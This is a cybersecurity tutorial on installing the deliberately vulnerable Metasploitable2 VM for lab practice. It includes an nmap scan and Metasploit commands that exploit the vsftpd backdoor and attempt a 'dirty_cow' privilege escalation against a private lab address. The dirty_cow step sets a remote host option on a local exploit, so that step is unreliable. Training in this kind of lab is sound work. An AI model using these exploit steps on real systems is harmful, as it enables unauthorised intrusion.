How to start the Metasploitable2 virtual machine

Introduction

In the field of Cybersecurity, understanding and practicing with vulnerable virtual machines is a crucial step in developing your skills. This tutorial will guide you through the process of setting up and exploring the Metasploitable2 virtual machine, a widely-used platform for learning and testing Cybersecurity techniques.

Skills Graph

Introduction to Metasploitable2

Metasploitable2 is a deliberately vulnerable Linux virtual machine created by the Metasploit project. It is designed to be used as a training and testing environment for security professionals and enthusiasts to practice their hacking and penetration testing skills.

The Metasploitable2 virtual machine is based on the Ubuntu 8.04 LTS (Hardy Heron) distribution and contains a variety of vulnerabilities, misconfigurations, and services that can be exploited using various hacking techniques.

Some of the key features and vulnerabilities present in the Metasploitable2 virtual machine include:

Vulnerable Services

• FTP server with default credentials
• MySQL server with default credentials
• Samba server with weak passwords
• Tomcat server with default credentials
• SSH server with weak passwords

Misconfigurations

• Unpatched and outdated software versions
• Unnecessary services running
• Weak file permissions and access controls

Exploitable Vulnerabilities

• Remote code execution
• Privilege escalation
• Information disclosure
• Denial of service

By using the Metasploitable2 virtual machine, security professionals can learn how to identify, exploit, and mitigate various types of vulnerabilities, as well as gain a better understanding of the techniques and tools used by attackers.

Setting up the Metasploitable2 Environment

To set up the Metasploitable2 environment, you will need to follow these steps:

1. Download Metasploitable2

You can download the Metasploitable2 virtual machine image from the official Metasploit website or from other reliable sources. The image is typically available in various formats, such as OVA, VMware, or VirtualBox.

2. Set up a Virtualization Environment

You will need to have a virtualization software installed on your system, such as VMware, VirtualBox, or Hyper-V. Once you have the virtualization software installed, you can import the Metasploitable2 virtual machine image into the software.

3. Start the Metasploitable2 Virtual Machine

After importing the Metasploitable2 virtual machine, you can start it up and ensure that it is running correctly. You may need to configure the network settings to ensure that the virtual machine can communicate with your host system and other devices on the network.

Once the Metasploitable2 virtual machine is set up and running, you can begin exploring and using it for your security testing and learning purposes.

Exploring and Using Metasploitable2

Once you have the Metasploitable2 virtual machine set up, you can start exploring and using it to practice your security skills.

Reconnaissance and Information Gathering

Begin by gathering information about the Metasploitable2 virtual machine, such as the running services, open ports, and potential vulnerabilities. You can use tools like nmap and Metasploit to scan the virtual machine and gather this information.

## Perform a TCP SYN scan on the Metasploitable2 VM
nmap -sS 192.168.56.101

Exploiting Vulnerabilities

After gathering information about the Metasploitable2 virtual machine, you can start exploiting the vulnerabilities found. Metasploit provides a wide range of pre-built exploits that you can use to gain access to the virtual machine.

## Use the Metasploit framework to exploit the FTP vulnerability
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.56.101
exploit

Post-Exploitation and Privilege Escalation

Once you have gained access to the Metasploitable2 virtual machine, you can explore further by attempting to escalate your privileges and gain root-level access. This can be done by exploiting additional vulnerabilities or misconfigurations within the virtual machine.

## Attempt to escalate privileges using the Metasploit framework
use exploit/linux/local/dirty_cow
set RHOST 192.168.56.101
exploit

Mitigating Vulnerabilities

As you explore the Metasploitable2 virtual machine, you can also learn about the various security best practices and mitigation techniques that can be used to address the vulnerabilities found. This includes applying security patches, configuring services correctly, and implementing proper access controls.

By using the Metasploitable2 virtual machine, you can gain valuable hands-on experience in the field of cybersecurity and develop your skills in penetration testing, vulnerability assessment, and incident response.

Summary

By following this tutorial, you will learn how to set up the Metasploitable2 virtual machine, explore its vulnerabilities, and practice Cybersecurity techniques such as penetration testing and vulnerability assessment. This hands-on experience will help you enhance your Cybersecurity skills and better understand the importance of securing systems against potential threats.